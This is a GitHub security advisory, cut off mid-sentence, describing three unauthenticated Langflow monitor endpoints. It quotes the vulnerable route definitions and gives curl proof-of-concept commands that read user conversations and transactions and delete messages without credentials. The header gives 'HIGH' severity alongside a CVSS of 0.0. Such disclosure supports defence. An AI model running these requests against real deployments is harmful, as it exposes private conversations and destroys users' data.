GitHub Security Advisory: GHSA-c5cp-vx83-jhqx
Package: langflow-base (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: <= 0.6.9
Patched in: 0.7.1

Summary: Langflow Missing Authentication on Critical API Endpoints

Details:
### Summary
Multiple critical API endpoints in Langflow are missing authentication controls, allowing any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization.

### Details
The vulnerability exists in three API endpoints within `src/backend/base/langflow/api/v1/monitor.py` that are missing the required `dependencies=[Depends(get_current_active_user)]` authentication dependency:

**Affected Endpoints:**

1. **GET `/api/v1/monitor/messages`** (Line 61)
   ```python
   @router.get("/messages")  # ❌ Missing authentication
   async def get_messages(
       session: DbSession,
       flow_id: Annotated[UUID | None, Query()] = None,
       session_id: Annotated[str | None, Query()] = None,
       # ... other parameters
   ) -> list[MessageResponse]:
   ```

2. **GET `/api/v1/monitor/transactions`** (Line 183)
   ```python
   @router.get("/transactions")  # ❌ Missing authentication
   async def get_transactions(
       flow_id: Annotated[UUID, Query()],
       session: DbSession,
       params: Annotated[Params | None, Depends(custom_params)],
   ) -> Page[TransactionTable]:
   ```

3. **DELETE `/api/v1/monitor/messages/session/{session_id}`** (Line 165)
   ```python
   @router.delete("/messages/session/{session_id}", status_code=204)  # ❌ Missing authentication
   async def delete_messages_session(
       session_id: str,
       session: DbSession,
   ):
   ```

**Inconsistency Evidence:**
Other endpoints in the same file properly implement authentication:
```python
@router.get("/messages/sessions", dependencies=[Depends(get_current_active_user)])  # ✅ Properly secured
@router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)])  # ✅ Properly secured
```

### PoC
Complete reproduction steps to demonstrate the vulnerability:

**Prerequisites:**
1. Start a Langflow server instance
2. Ensure no authentication headers or API keys are provided

**Reproduction Commands:**
```bash
# 1. Access all user conversations without authentication
curl http://localhost:7860/api/v1/monitor/messages

# 2. Access transaction history without authentication
curl "http://localhost:7860/api/v1/monitor/transactions?flow_id=[PII_REDACTED]-[PII_REDACTED]"

# 3. Delete user messages by session without authentication
curl -X DELETE http://localhost:7860/api/v1/monitor/messages/session/[PII_REDACTED]-[PII_REDACTED]
```

**Expected vs Actual Behavior:**
- **Expected:** All requests should return `401 Unauthorized` 
- **Actual:** All requests return successful responses with sensitive data or perform destructive operations

### Impact

**Vulnerability Type:** Broken Authentication and Authorization (OWASP Top 10 - A01:2021)

**Severity:** High

**Who is Impacted:**
- **All Langflow users**: Personal conversation data exposed to unautho